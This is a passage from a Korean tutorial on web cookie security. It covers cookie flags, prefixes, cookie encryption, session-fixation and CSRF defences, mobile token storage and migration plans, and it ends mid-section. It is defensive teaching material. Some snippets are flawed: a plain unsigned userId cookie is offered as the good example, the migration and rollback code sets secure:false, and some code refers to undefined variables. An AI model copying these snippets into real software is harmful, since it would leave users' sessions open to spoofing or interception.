์žฌ๋Šฅ๋„ท์—์„œ์˜ ์ฟ ํ‚ค ๋ณด์•ˆ ์ ์šฉ

์žฌ๋Šฅ ๊ณต์œ  ํ”Œ๋žซํผ์ธ ์žฌ๋Šฅ๋„ท(https://www.jaenung.net)์—์„œ๋„ ์ฟ ํ‚ค ๋ณด์•ˆ์€ ๋งค์šฐ ์ค‘์š”ํ•ด! ์‚ฌ์šฉ์ž๋“ค์˜ ์žฌ๋Šฅ ๊ฑฐ๋ž˜ ์ •๋ณด์™€ ๊ฐœ์ธ์ •๋ณด๋ฅผ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์ฒ ์ €ํ•œ ์ฟ ํ‚ค ๋ณด์•ˆ ์„ค์ •์ด ํ•„์ˆ˜์•ผ. ๐Ÿ”

๐ŸŽจ ์žฌ๋Šฅ๋„ท ๊ฐ™์€ ํ”Œ๋žซํผ์—์„œ ๊ณ ๋ คํ•  ์‚ฌํ•ญ:

1. ์‚ฌ์šฉ์ž ์„ธ์…˜ ๊ด€๋ฆฌ
โ€ข ๋กœ๊ทธ์ธ ์„ธ์…˜: HttpOnly + Secure + SameSite=Lax
โ€ข ์ž๋™ ๋กœ๊ทธ์ธ: ๋ณ„๋„์˜ remember-me ํ† ํฐ ์‚ฌ์šฉ
โ€ข ์„ธ์…˜ ๋งŒ๋ฃŒ: ํ™œ๋™ ์—†์„ ์‹œ 30๋ถ„

2. ๊ฑฐ๋ž˜ ๋ณด์•ˆ
โ€ข ๊ฒฐ์ œ ํŽ˜์ด์ง€: SameSite=Strict๋กœ ๊ฐ•ํ™”
โ€ข ๊ฑฐ๋ž˜ ํ™•์ธ: ์ถ”๊ฐ€ ์ธ์ฆ ๋‹จ๊ณ„
โ€ข ๋ฏผ๊ฐํ•œ ์ •๋ณด๋Š” ์ฟ ํ‚ค์— ์ €์žฅํ•˜์ง€ ์•Š๊ธฐ

3. ์‚ฌ์šฉ์ž ๊ฒฝํ—˜
โ€ข ์žฅ๋ฐ”๊ตฌ๋‹ˆ/์œ„์‹œ๋ฆฌ์ŠคํŠธ: ๊ธด ๋งŒ๋ฃŒ ์‹œ๊ฐ„ (30์ผ)
โ€ข ์–ธ์–ด/ํ…Œ๋งˆ ์„ค์ •: HttpOnly ๋ถˆํ•„์š”
โ€ข ์ตœ๊ทผ ๋ณธ ์žฌ๋Šฅ: ๋กœ์ปฌ์Šคํ† ๋ฆฌ์ง€ ํ™œ์šฉ ๊ณ ๋ ค

4. ํฌ๋กœ์Šค ๋„๋ฉ”์ธ ๊ณ ๋ ค
โ€ข ์„œ๋ธŒ๋„๋ฉ”์ธ ๊ฐ„ ์ฟ ํ‚ค ๊ณต์œ  ํ•„์š” ์‹œ Domain ์„ค์ •
โ€ข API ์„œ๋ฒ„์™€์˜ ํ†ต์‹ : CORS ์„ค์ •๊ณผ ํ•จ๊ป˜ ๊ณ ๋ ค
โ€ข ์™ธ๋ถ€ ๊ฒฐ์ œ ๋ชจ๋“ˆ: SameSite=None ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Œ

๐Ÿš€ ๊ณ ๊ธ‰ ์ฟ ํ‚ค ๋ณด์•ˆ ๊ธฐ๋ฒ•

์ฟ ํ‚ค ์ ‘๋‘์‚ฌ (Cookie Prefixes)

Chrome๊ณผ Firefox์—์„œ ์ง€์›ํ•˜๋Š” ์ถ”๊ฐ€ ๋ณด์•ˆ ๊ธฐ๋Šฅ์ด์•ผ! ๐Ÿ”’

๐ŸŽฏ __Secure- ์ ‘๋‘์‚ฌ

์ฟ ํ‚ค ์ด๋ฆ„์ด __Secure-๋กœ ์‹œ์ž‘ํ•˜๋ฉด, ๋ธŒ๋ผ์šฐ์ €๋Š” ์ž๋™์œผ๋กœ Secure ํ”Œ๋ž˜๊ทธ๋ฅผ ์š”๊ตฌํ•ด.

// ์ž๋™์œผ๋กœ Secure๊ฐ€ ํ•„์š”ํ•จ
res.cookie('__Secure-sessionId', 'value', {
  secure: true,  // ํ•„์ˆ˜!
  httpOnly: true,
  sameSite: 'lax'
});

// HTTP์—์„œ๋Š” ์„ค์ • ๋ถˆ๊ฐ€
// HTTPS์—์„œ๋งŒ ์ž‘๋™

๐ŸŽฏ __Host- ์ ‘๋‘์‚ฌ

๋” ์—„๊ฒฉํ•œ ๋ณด์•ˆ! __Host- ์ ‘๋‘์‚ฌ๋Š”:
โ€ข Secure ํ”Œ๋ž˜๊ทธ ํ•„์ˆ˜
โ€ข Domain ์†์„ฑ ๋ถˆ๊ฐ€ (ํ˜„์žฌ ํ˜ธ์ŠคํŠธ๋งŒ)
โ€ข Path๋Š” / ์ด์–ด์•ผ ํ•จ

res.cookie('__Host-sessionId', 'value', {
  secure: true,   // ํ•„์ˆ˜
  httpOnly: true,
  sameSite: 'strict',
  path: '/'       // ํ•„์ˆ˜
  // domain ์„ค์ • ๋ถˆ๊ฐ€!
});

// ์„œ๋ธŒ๋„๋ฉ”์ธ ๊ณต์œ  ๋ถˆ๊ฐ€
// ์ตœ๊ณ  ์ˆ˜์ค€์˜ ๋ณด์•ˆ

์žฅ์ :
โ€ข ์ฟ ํ‚ค ์ฃผ์ž… ๊ณต๊ฒฉ ๋ฐฉ์–ด
โ€ข ์„œ๋ธŒ๋„๋ฉ”์ธ ๊ณต๊ฒฉ ๋ฐฉ์–ด
โ€ข ๋ช…ํ™•ํ•œ ๋ณด์•ˆ ์˜๋„ ํ‘œํ˜„

์ฟ ํ‚ค ์•”ํ˜ธํ™”

์ฟ ํ‚ค ๊ฐ’ ์ž์ฒด๋ฅผ ์•”ํ˜ธํ™”ํ•ด์„œ ์ถ”๊ฐ€ ๋ณด์•ˆ์„ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์–ด! ๐Ÿ”

๐Ÿ“Œ Node.js ์ฟ ํ‚ค ์•”ํ˜ธํ™” ์˜ˆ์ œ
const crypto = require('crypto');

// ์•”ํ˜ธํ™” ํ•จ์ˆ˜
function encryptCookie(value, secret) {
  const algorithm = 'aes-256-gcm';
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv(
    algorithm, 
    Buffer.from(secret, 'hex'), 
    iv
  );
  
  let encrypted = cipher.update(value, 'utf8', 'hex');
  encrypted += cipher.final('hex');
  
  const authTag = cipher.getAuthTag();
  
  return {
    encrypted,
    iv: iv.toString('hex'),
    authTag: authTag.toString('hex')
  };
}

// ๋ณตํ˜ธํ™” ํ•จ์ˆ˜
function decryptCookie(encrypted, iv, authTag, secret) {
  const algorithm = 'aes-256-gcm';
  const decipher = crypto.createDecipheriv(
    algorithm,
    Buffer.from(secret, 'hex'),
    Buffer.from(iv, 'hex')
  );
  
  decipher.setAuthTag(Buffer.from(authTag, 'hex'));
  
  let decrypted = decipher.update(encrypted, 'hex', 'utf8');
  decrypted += decipher.final('utf8');
  
  return decrypted;
}

// ์‚ฌ์šฉ ์˜ˆ์ œ
app.post('/login', (req, res) => {
  const sessionData = JSON.stringify({
    userId: user.id,
    username: user.username,
    timestamp: Date.now()
  });
  
  const secret = process.env.COOKIE_SECRET;
  const { encrypted, iv, authTag } = encryptCookie(sessionData, secret);
  
  // ์•”ํ˜ธํ™”๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฟ ํ‚ค์— ์ €์žฅ
  res.cookie('session', JSON.stringify({ encrypted, iv, authTag }), {
    httpOnly: true,
    secure: true,
    sameSite: 'strict'
  });
  
  res.json({ success: true });
});

// ์ฟ ํ‚ค ์ฝ๊ธฐ
app.get('/profile', (req, res) => {
  try {
    const cookieData = JSON.parse(req.cookies.session);
    const secret = process.env.COOKIE_SECRET;
    
    const decrypted = decryptCookie(
      cookieData.encrypted,
      cookieData.iv,
      cookieData.authTag,
      secret
    );
    
    const sessionData = JSON.parse(decrypted);
    res.json(sessionData);
  } catch (error) {
    res.status(401).json({ error: '์œ ํšจํ•˜์ง€ ์•Š์€ ์„ธ์…˜' });
  }
});

์žฅ์ :
โ€ข ์ฟ ํ‚ค ๊ฐ’์ด ๋…ธ์ถœ๋˜์–ด๋„ ๋‚ด์šฉ์„ ์•Œ ์ˆ˜ ์—†์Œ
โ€ข ์ฟ ํ‚ค ๋ณ€์กฐ ๊ฐ์ง€ ๊ฐ€๋Šฅ
โ€ข ์ถ”๊ฐ€ ๋ณด์•ˆ ๋ ˆ์ด์–ด

๋‹จ์ :
โ€ข ์„ฑ๋Šฅ ์˜ค๋ฒ„ํ—ค๋“œ
โ€ข ์ฟ ํ‚ค ํฌ๊ธฐ ์ฆ๊ฐ€
โ€ข ๊ตฌํ˜„ ๋ณต์žก๋„ ์ฆ๊ฐ€

์„ธ์…˜ ๊ณ ์ • ๊ณต๊ฒฉ ๋ฐฉ์–ด

๋กœ๊ทธ์ธ ์‹œ ์„ธ์…˜ ID๋ฅผ ์žฌ์ƒ์„ฑํ•ด์„œ ์„ธ์…˜ ๊ณ ์ • ๊ณต๊ฒฉ์„ ๋ง‰์„ ์ˆ˜ ์žˆ์–ด! ๐Ÿ›ก๏ธ

โš ๏ธ ์„ธ์…˜ ๊ณ ์ • ๊ณต๊ฒฉ์ด๋ž€?

๊ณต๊ฒฉ์ž๊ฐ€ ๋ฏธ๋ฆฌ ์•Œ๊ณ  ์žˆ๋Š” ์„ธ์…˜ ID๋ฅผ ํ”ผํ•ด์ž์—๊ฒŒ ์‚ฌ์šฉํ•˜๊ฒŒ ๋งŒ๋“ค์–ด์„œ, ํ”ผํ•ด์ž๊ฐ€ ๋กœ๊ทธ์ธํ•œ ํ›„ ๊ทธ ์„ธ์…˜์„ ํƒˆ์ทจํ•˜๋Š” ๊ณต๊ฒฉ์ด์•ผ.

๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค:
1. ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฌ์ดํŠธ์— ์ ‘์†ํ•ด์„œ ์„ธ์…˜ ID๋ฅผ ๋ฐ›์Œ
2. ํ”ผํ•ด์ž์—๊ฒŒ ๊ทธ ์„ธ์…˜ ID๋ฅผ ์‚ฌ์šฉํ•˜๊ฒŒ ๋งŒ๋“ฆ (๋งํฌ ๋“ฑ)
3. ํ”ผํ•ด์ž๊ฐ€ ๋กœ๊ทธ์ธ
4. ๊ณต๊ฒฉ์ž๊ฐ€ ๊ฐ™์€ ์„ธ์…˜ ID๋กœ ์ ‘์†ํ•˜๋ฉด ๋กœ๊ทธ์ธ๋œ ์ƒํƒœ!

โœ… ๋ฐฉ์–ด ๋ฐฉ๋ฒ•:
// Express ์˜ˆ์ œ
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  
  // ์‚ฌ์šฉ์ž ์ธ์ฆ
  const user = authenticateUser(username, password);
  
  if (user) {
    // ๊ธฐ์กด ์„ธ์…˜ ํŒŒ๊ดด
    req.session.destroy((err) => {
      if (err) {
        return res.status(500).json({ error: '๋กœ๊ทธ์ธ ์‹คํŒจ' });
      }
      
      // ์ƒˆ๋กœ์šด ์„ธ์…˜ ์ƒ์„ฑ
      req.session.regenerate((err) => {
        if (err) {
          return res.status(500).json({ error: '๋กœ๊ทธ์ธ ์‹คํŒจ' });
        }
        
        // ์ƒˆ ์„ธ์…˜์— ์‚ฌ์šฉ์ž ์ •๋ณด ์ €์žฅ
        req.session.userId = user.id;
        req.session.username = user.username;
        
        res.json({ success: true });
      });
    });
  } else {
    res.status(401).json({ error: '์ธ์ฆ ์‹คํŒจ' });
  }
});

CSRF ํ† ํฐ๊ณผ ์ฟ ํ‚ค ์กฐํ•ฉ

SameSite๋งŒ์œผ๋กœ ๋ถ€์กฑํ•˜๋‹ค๋ฉด CSRF ํ† ํฐ์„ ์ถ”๊ฐ€๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์–ด! ๐ŸŽฏ

๐Ÿ” ์ด์ค‘ ๋ฐฉ์–ด ์ „๋žต:

1. ์„œ๋ฒ„์—์„œ CSRF ํ† ํฐ ์ƒ์„ฑ
const crypto = require('crypto');

// CSRF ํ† ํฐ ์ƒ์„ฑ
function generateCsrfToken() {
  return crypto.randomBytes(32).toString('hex');
}

app.get('/api/csrf-token', (req, res) => {
  const token = generateCsrfToken();
  
  // ์„ธ์…˜์— ์ €์žฅ
  req.session.csrfToken = token;
  
  // ์ฟ ํ‚ค๋กœ๋„ ์ „์†ก (Double Submit Cookie ํŒจํ„ด)
  res.cookie('XSRF-TOKEN', token, {
    httpOnly: false,  // JS์—์„œ ์ฝ์–ด์•ผ ํ•จ
    secure: true,
    sameSite: 'strict'
  });
  
  res.json({ token });
});

2. ํด๋ผ์ด์–ธํŠธ์—์„œ ํ† ํฐ ํฌํ•จ
// React ์˜ˆ์ œ
async function submitForm(data) {
  // ์ฟ ํ‚ค์—์„œ CSRF ํ† ํฐ ์ฝ๊ธฐ
  const csrfToken = getCookie('XSRF-TOKEN');
  
  const response = await fetch('/api/submit', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrfToken  // ํ—ค๋”์— ํฌํ•จ
    },
    credentials: 'include',  // ์ฟ ํ‚ค ํฌํ•จ
    body: JSON.stringify(data)
  });
  
  return response.json();
}

function getCookie(name) {
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) {
    return parts.pop().split(';').shift();
  }
}

3. ์„œ๋ฒ„์—์„œ ํ† ํฐ ๊ฒ€์ฆ
// CSRF ๊ฒ€์ฆ ๋ฏธ๋“ค์›จ์–ด
function verifyCsrfToken(req, res, next) {
  const tokenFromHeader = req.headers['x-csrf-token'];
  const tokenFromSession = req.session.csrfToken;
  const tokenFromCookie = req.cookies['XSRF-TOKEN'];
  
  // Double Submit Cookie ํŒจํ„ด ๊ฒ€์ฆ
  if (!tokenFromHeader || 
      tokenFromHeader !== tokenFromSession ||
      tokenFromHeader !== tokenFromCookie) {
    return res.status(403).json({ error: 'CSRF ํ† ํฐ ๋ถˆ์ผ์น˜' });
  }
  
  next();
}

// ๋ณดํ˜ธ๋œ ๋ผ์šฐํŠธ์— ์ ์šฉ
app.post('/api/submit', verifyCsrfToken, (req, res) => {
  // ์•ˆ์ „ํ•œ ์ฒ˜๋ฆฌ
  res.json({ success: true });
});

์žฅ์ :
โ€ข SameSite์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๋ฉด ์ตœ๊ณ  ์ˆ˜์ค€์˜ CSRF ๋ฐฉ์–ด
โ€ข ์˜ค๋ž˜๋œ ๋ธŒ๋ผ์šฐ์ €์—์„œ๋„ ์ž‘๋™
โ€ข ๋ช…์‹œ์ ์ธ ๋ณด์•ˆ ๊ฒ€์ฆ

๋‹จ์ :
โ€ข ๊ตฌํ˜„ ๋ณต์žก๋„ ์ฆ๊ฐ€
โ€ข ๋ชจ๋“  ์š”์ฒญ์— ํ† ํฐ ํฌํ•จ ํ•„์š”
โ€ข ์ƒํƒœ ๊ด€๋ฆฌ ํ•„์š”

๐Ÿ“ฑ ๋ชจ๋ฐ”์ผ ์•ฑ์—์„œ์˜ ์ฟ ํ‚ค ๋ณด์•ˆ

๋ชจ๋ฐ”์ผ ํ™˜๊ฒฝ์˜ ํŠน์ˆ˜์„ฑ

๋ชจ๋ฐ”์ผ ์•ฑ์—์„œ๋Š” ์›น๊ณผ ๋‹ค๋ฅธ ์ ‘๊ทผ์ด ํ•„์š”ํ•ด! ๐Ÿ“ฑ

๐Ÿค” ๋ชจ๋ฐ”์ผ ์•ฑ์˜ ์ฟ ํ‚ค ์‚ฌ์šฉ ๊ณ ๋ ค์‚ฌํ•ญ:

1. WebView vs Native
โ€ข WebView: ์ผ๋ฐ˜ ์›น ์ฟ ํ‚ค ์‚ฌ์šฉ ๊ฐ€๋Šฅ
โ€ข Native: ์ฟ ํ‚ค ๋Œ€์‹  ํ† ํฐ ๊ธฐ๋ฐ˜ ์ธ์ฆ ๊ถŒ์žฅ

2. ๋ณด์•ˆ ์ €์žฅ์†Œ
โ€ข iOS: Keychain
โ€ข Android: KeyStore
โ€ข ์ฟ ํ‚ค๋ณด๋‹ค ์•ˆ์ „ํ•œ ์ €์žฅ ๋ฐฉ์‹

3. ํ† ํฐ ๊ธฐ๋ฐ˜ ์ธ์ฆ
โ€ข JWT (JSON Web Token) ์‚ฌ์šฉ
โ€ข Refresh Token ํŒจํ„ด
โ€ข ์ฟ ํ‚ค ์—†์ด๋„ ์•ˆ์ „ํ•œ ์ธ์ฆ ๊ฐ€๋Šฅ

React Native ์˜ˆ์ œ

import AsyncStorage from '@react-native-async-storage/async-storage';
import * as SecureStore from 'expo-secure-store';

// ์•ˆ์ „ํ•œ ํ† ํฐ ์ €์žฅ (iOS Keychain, Android KeyStore)
async function saveToken(token) {
  try {
    await SecureStore.setItemAsync('authToken', token);
  } catch (error) {
    console.error('ํ† ํฐ ์ €์žฅ ์‹คํŒจ:', error);
  }
}

// ํ† ํฐ ์ฝ๊ธฐ
async function getToken() {
  try {
    return await SecureStore.getItemAsync('authToken');
  } catch (error) {
    console.error('ํ† ํฐ ์ฝ๊ธฐ ์‹คํŒจ:', error);
    return null;
  }
}

// API ์š”์ฒญ ์‹œ ํ† ํฐ ์‚ฌ์šฉ
async function fetchUserData() {
  const token = await getToken();
  
  const response = await fetch('https://api.example.com/user', {
    method: 'GET',
    headers: {
      'Authorization': `Bearer ${token}`,
      'Content-Type': 'application/json'
    }
  });
  
  return response.json();
}

// ๋กœ๊ทธ์ธ
async function login(username, password) {
  const response = await fetch('https://api.example.com/login', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({ username, password })
  });
  
  const data = await response.json();
  
  if (data.token) {
    await saveToken(data.token);
    return true;
  }
  
  return false;
}

// ๋กœ๊ทธ์•„์›ƒ
async function logout() {
  await SecureStore.deleteItemAsync('authToken');
}

Flutter ์˜ˆ์ œ

import 'package:flutter_secure_storage/flutter_secure_storage.dart';
import 'package:http/http.dart' as http;
import 'dart:convert';

class AuthService {
  final storage = FlutterSecureStorage();
  
  // ํ† ํฐ ์ €์žฅ
  Future<void> saveToken(String token) async {
    await storage.write(key: 'authToken', value: token);
  }
  
  // ํ† ํฐ ์ฝ๊ธฐ
  Future<String?> getToken() async {
    return await storage.read(key: 'authToken');
  }
  
  // ๋กœ๊ทธ์ธ
  Future<bool> login(String username, String password) async {
    final response = await http.post(
      Uri.parse('https://api.example.com/login'),
      headers: {'Content-Type': 'application/json'},
      body: jsonEncode({
        'username': username,
        'password': password,
      }),
    );
    
    if (response.statusCode == 200) {
      final data = jsonDecode(response.body);
      await saveToken(data['token']);
      return true;
    }
    
    return false;
  }
  
  // API ์š”์ฒญ
  Future<Map<String, dynamic>> fetchUserData() async {
    final token = await getToken();
    
    final response = await http.get(
      Uri.parse('https://api.example.com/user'),
      headers: {
        'Authorization': 'Bearer $token',
        'Content-Type': 'application/json',
      },
    );
    
    return jsonDecode(response.body);
  }
  
  // ๋กœ๊ทธ์•„์›ƒ
  Future<void> logout() async {
    await storage.delete(key: 'authToken');
  }
}

๐Ÿ”„ ์ฟ ํ‚ค ๋งˆ์ด๊ทธ๋ ˆ์ด์…˜ ์ „๋žต

๊ธฐ์กด ์‹œ์Šคํ…œ์— ๋ณด์•ˆ ์ ์šฉํ•˜๊ธฐ

์ด๋ฏธ ์šด์˜ ์ค‘์ธ ์„œ๋น„์Šค์— ์ฟ ํ‚ค ๋ณด์•ˆ์„ ์ ์šฉํ•  ๋•Œ๋Š” ์‹ ์ค‘ํ•ด์•ผ ํ•ด! ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์„ ํ•ด์น˜์ง€ ์•Š์œผ๋ฉด์„œ ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณด์ž. ๐Ÿ”„

๐Ÿ“‹ ๋‹จ๊ณ„๋ณ„ ๋งˆ์ด๊ทธ๋ ˆ์ด์…˜ ๊ณ„ํš:

1๋‹จ๊ณ„: ํ˜„ํ™ฉ ๋ถ„์„ (1์ฃผ)
โ˜‘๏ธ ํ˜„์žฌ ์ฟ ํ‚ค ์„ค์ • ํ™•์ธ
โ˜‘๏ธ ์‚ฌ์šฉ ์ค‘์ธ ์ฟ ํ‚ค ๋ชฉ๋ก ์ž‘์„ฑ
โ˜‘๏ธ ๊ฐ ์ฟ ํ‚ค์˜ ์šฉ๋„ ํŒŒ์•…
โ˜‘๏ธ ๋ณด์•ˆ ์ทจ์•ฝ์  ์‹๋ณ„
โ˜‘๏ธ ์˜ํ–ฅ ๋ฒ”์œ„ ๋ถ„์„

2๋‹จ๊ณ„: ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ ๊ตฌ์ถ• (1์ฃผ)
โ˜‘๏ธ ์Šคํ…Œ์ด์ง• ํ™˜๊ฒฝ์— ๋ณด์•ˆ ์„ค์ • ์ ์šฉ
โ˜‘๏ธ ์ž๋™ํ™” ํ…Œ์ŠคํŠธ ์ž‘์„ฑ
โ˜‘๏ธ ๋‹ค์–‘ํ•œ ์‹œ๋‚˜๋ฆฌ์˜ค ํ…Œ์ŠคํŠธ
โ˜‘๏ธ ์„ฑ๋Šฅ ์˜ํ–ฅ ์ธก์ •

3๋‹จ๊ณ„: ์ ์ง„์  ๋ฐฐํฌ (2-4์ฃผ)
โ˜‘๏ธ HttpOnly ํ”Œ๋ž˜๊ทธ ๋จผ์ € ์ ์šฉ
โ˜‘๏ธ Secure ํ”Œ๋ž˜๊ทธ ์ ์šฉ (HTTPS ํ•„์ˆ˜)
โ˜‘๏ธ SameSite=Lax ์ ์šฉ
โ˜‘๏ธ ์‚ฌ์šฉ์ž ํ”ผ๋“œ๋ฐฑ ์ˆ˜์ง‘
โ˜‘๏ธ ๋ฌธ์ œ ๋ฐœ์ƒ ์‹œ ๋กค๋ฐฑ ์ค€๋น„

4๋‹จ๊ณ„: ๋ชจ๋‹ˆํ„ฐ๋ง ๋ฐ ์ตœ์ ํ™” (์ง€์†)
โ˜‘๏ธ ์—๋Ÿฌ ๋กœ๊ทธ ๋ชจ๋‹ˆํ„ฐ๋ง
โ˜‘๏ธ ์‚ฌ์šฉ์ž ๋ถˆํŽธ ์‚ฌํ•ญ ์ˆ˜์ง‘
โ˜‘๏ธ ๋ณด์•ˆ ์ด๋ฒคํŠธ ์ถ”์ 
โ˜‘๏ธ ์ •๊ธฐ์ ์ธ ๋ณด์•ˆ ๊ฐ์‚ฌ

ํ˜ธํ™˜์„ฑ ์œ ์ง€ ์ „๋žต

๐Ÿ”ง ํ•˜์œ„ ํ˜ธํ™˜์„ฑ ์œ ์ง€ ๋ฐฉ๋ฒ•:

1. ์ด์ค‘ ์ฟ ํ‚ค ์ „๋žต
// ์ƒˆ๋กœ์šด ๋ณด์•ˆ ์ฟ ํ‚ค์™€ ๊ธฐ์กด ์ฟ ํ‚ค๋ฅผ ๋™์‹œ์— ์„ค์ •
app.post('/login', (req, res) => {
  const sessionId = generateSessionId();
  
  // ์ƒˆ๋กœ์šด ๋ณด์•ˆ ์ฟ ํ‚ค
  res.cookie('__Secure-sessionId', sessionId, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 3600000
  });
  
  // ๊ธฐ์กด ์ฟ ํ‚ค (ํ˜ธํ™˜์„ฑ ์œ ์ง€)
  res.cookie('sessionId', sessionId, {
    httpOnly: true,
    secure: false,  // ์ผ์‹œ์ ์œผ๋กœ ํ—ˆ์šฉ
    maxAge: 3600000
  });
  
  res.json({ success: true });
});

// ์ฝ์„ ๋•Œ๋Š” ์ƒˆ ์ฟ ํ‚ค ์šฐ์„ 
app.use((req, res, next) => {
  req.sessionId = req.cookies['__Secure-sessionId'] || 
                  req.cookies['sessionId'];
  next();
});

2. ์ ์ง„์  ๋งˆ์ด๊ทธ๋ ˆ์ด์…˜
// ์‚ฌ์šฉ์ž๋ณ„๋กœ ์ ์ง„์  ์ ์šฉ
app.post('/login', (req, res) => {
  const user = authenticateUser(req.body);
  
  // ์‚ฌ์šฉ์ž ID ๊ธฐ๋ฐ˜์œผ๋กœ ์ผ์ • ๋น„์œจ๋งŒ ์ƒˆ ์„ค์ • ์ ์šฉ
  const useNewSecurity = (user.id % 100) < 10;  // 10%
  
  const cookieOptions = {
    httpOnly: true,
    secure: useNewSecurity ? true : false,
    sameSite: useNewSecurity ? 'strict' : 'lax'
  };
  
  res.cookie('sessionId', sessionId, cookieOptions);
  res.json({ success: true });
});

3. Feature Flag ํ™œ์šฉ
// ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋‚˜ ์„ค์ •์œผ๋กœ ์ œ์–ด
const ENABLE_STRICT_COOKIES = process.env.ENABLE_STRICT_COOKIES === 'true';

app.use(session({
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: ENABLE_STRICT_COOKIES ? 'strict' : 'lax'
  }
}));

// ์šด์˜ ์ค‘ ์‹ค์‹œ๊ฐ„์œผ๋กœ on/off ๊ฐ€๋Šฅ

๋กค๋ฐฑ ๊ณ„ํš

โš ๏ธ ๋ฌธ์ œ ๋ฐœ์ƒ ์‹œ ๋Œ€์‘ ๋ฐฉ์•ˆ:

1. ์ฆ‰์‹œ ๋กค๋ฐฑ ํŠธ๋ฆฌ๊ฑฐ
โ€ข ๋กœ๊ทธ์ธ ์‹คํŒจ์œจ 20% ์ด์ƒ ์ฆ๊ฐ€
โ€ข ์—๋Ÿฌ ๋กœ๊ทธ ๊ธ‰์ฆ
โ€ข ๊ณ ๊ฐ ๋ฌธ์˜ ํญ์ฆ
โ€ข ์ฃผ์š” ๊ธฐ๋Šฅ ์žฅ์• 

2. ๋กค๋ฐฑ ์ ˆ์ฐจ
// ๊ธด๊ธ‰ ๋กค๋ฐฑ ์Šคํฌ๋ฆฝํŠธ
// rollback-cookies.js

const ROLLBACK_CONFIG = {
  httpOnly: true,  // ์ด๊ฑด ์œ ์ง€
  secure: false,   // ์›๋ž˜๋Œ€๋กœ
  sameSite: 'lax'  // ์›๋ž˜๋Œ€๋กœ
};

// ๋ชจ๋“  ์ฟ ํ‚ค ์„ค์ •์„ ์ด์ „ ์ƒํƒœ๋กœ
app.use((req, res, next) => {
  res.cookie = function(name, value, options) {
    const safeOptions = { ...options, ...ROLLBACK_CONFIG };
    return originalCookie.call(this, name, value, safeOptions);
  };
  next();
});

3. ๋ถ€๋ถ„ ๋กค๋ฐฑ
โ€ข ํŠน์ • ๊ธฐ๋Šฅ๋งŒ ๋กค๋ฐฑ
โ€ข ํŠน์ • ์‚ฌ์šฉ์ž ๊ทธ๋ฃน๋งŒ ๋กค๋ฐฑ
โ€ข ๋ฌธ์ œ๊ฐ€ ๋˜๋Š” ์„ค์ •๋งŒ ๋กค๋ฐฑ

4. ์‚ฌํ›„ ๋ถ„์„
โ€ข ๋ฌธ์ œ ์›์ธ ํŒŒ์•…
โ€ข ๋กœ๊ทธ ๋ถ„์„
โ€ข ์‚ฌ์šฉ์ž ํ”ผ๋“œ๋ฐฑ ๊ฒ€ํ† 
โ€ข ๊ฐœ์„  ๋ฐฉ์•ˆ ์ˆ˜๋ฆฝ

๐Ÿ“Š ์„ฑ๋Šฅ ์ตœ์ ํ™”

์ฟ ํ‚ค ํฌ๊ธฐ ์ตœ์ ํ™”

์ฟ ํ‚ค๋Š” ๋ชจ๋“  HTTP ์š”์ฒญ์— ํฌํ•จ๋˜๋ฏ€๋กœ ํฌ๊ธฐ๊ฐ€ ์ค‘์š”ํ•ด! ๐Ÿ“ฆ

๐ŸŽฏ ์ฟ ํ‚ค ํฌ๊ธฐ ์ค„์ด๊ธฐ:

1. ํ•„์š”ํ•œ ์ •๋ณด๋งŒ ์ €์žฅ
// โŒ ๋‚˜์œ ์˜ˆ: ๋ชจ๋“  ์ •๋ณด๋ฅผ ์ฟ ํ‚ค์—
res.cookie('user', JSON.stringify({
  id: user.id,
  username: user.username,
  email: user.email,
  profile: user.profile,
  preferences: user.preferences,
  history: user.history
}));  // ๋„ˆ๋ฌด ํผ!

// โœ… ์ข‹์€ ์˜ˆ: ID๋งŒ ์ €์žฅ
res.cookie('userId', user.id, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'
});

// ๋‚˜๋จธ์ง€ ์ •๋ณด๋Š” ์„œ๋ฒ„ ์„ธ์…˜์—
req.session.user = user;

2. ์ฟ ํ‚ค ์••์ถ•
const zlib = require('zlib');

function compressCookie(data) {
  const json = JSON.stringify(data);
  const compressed = zlib.gzipSync(json);
  return compressed.toString('base64');
}

function decompressCookie(compressed) {
  const buffer = Buffer.from(compressed, 'base64');
  const decompressed = zlib.gunzipSync(buffer);
  return JSON.parse(decompressed.toString());
}

// ์‚ฌ์šฉ
const compressed = compressCookie(userData);
res.cookie('data', compressed, {
  httpOnly: true,
  secure: true
});

3. ์ฟ ํ‚ค ๋ถ„ํ• 
ํฐ ๋ฐ์ดํ„ฐ๋Š” ์—ฌ๋Ÿฌ ์ฟ ํ‚ค๋กœ ๋ถ„ํ• ํ•˜๊ฑฐ๋‚˜, ๋กœ์ปฌ์Šคํ† ๋ฆฌ์ง€ ์‚ฌ์šฉ ๊ณ ๋ ค

์บ์‹ฑ ์ „๋žต

โšก ์„ฑ๋Šฅ ํ–ฅ์ƒ ํŒ:

1. ์ฟ ํ‚ค ๋„๋ฉ”์ธ ์ตœ์ ํ™”
โ€ข ์ •์  ๋ฆฌ์†Œ์Šค๋Š” ์ฟ ํ‚ค ์—†๋Š” ๋„๋ฉ”์ธ์—์„œ ์ œ๊ณต
โ€ข CDN ์‚ฌ์šฉ ์‹œ ์ฟ ํ‚ค ์ „์†ก ๋ฐฉ์ง€

// ์ •์  ๋ฆฌ์†Œ์Šค์šฉ ๋ณ„๋„ ๋„๋ฉ”์ธ
